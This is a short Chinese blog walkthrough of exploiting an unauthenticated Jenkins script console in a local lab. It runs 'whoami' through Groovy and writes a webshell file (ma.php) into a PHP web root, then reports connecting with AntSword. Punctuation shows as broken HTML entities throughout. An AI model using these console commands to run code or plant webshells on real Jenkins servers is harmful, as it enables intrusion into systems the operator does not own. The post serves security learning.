中间件安全jenkins未授权访问

篇首语：本文由编程笔记#小编为大家整理，主要介绍了中间件安全-jenkins未授权访问相关的知识，希望对你有一定的参考价值。

跟着百度一步步做&＃xff0c;也算是认识了
​

0x02 jenkins是什么&＃xff1f;

Jenkins是一个开源软件项目&＃xff0c;是基于Java开发的一种持续集成工具&＃xff0c;用于监控持续重复的工作&＃xff0c;旨在提供一个开放易用的软件平台&＃xff0c;使软件项目可以进行持续集成。


ps&＃xff1a;不搞java开发&＃xff0c;了解即可。

未授权访问管理控制台,可以通过脚本命令行执行系统命令。通过该漏洞,可以后台管理服务,通过脚本命令行功能执行系统命令,如反弹shell,wget写webshell文件。
默认端口为8080

安装jenkins
链接&＃xff1a;https://pan.baidu.com/s/1PzUlSp7Cw82x6zVsvpI6FA
提取码&＃xff1a;9528


下载成功&＃xff0c;运行后任务管理器开启jenkins服务。
​

然后再浏览器输入http://localhost:8080
​

找到脚本命令行&＃xff0c;输入

println "whoami".execute().text


上传webshell

new File("D:\\\\phpstudy_pro\\\\WWW\\\\ma.php").write(&＃39;&＃39;);


蚁剑连接&＃xff0c;成功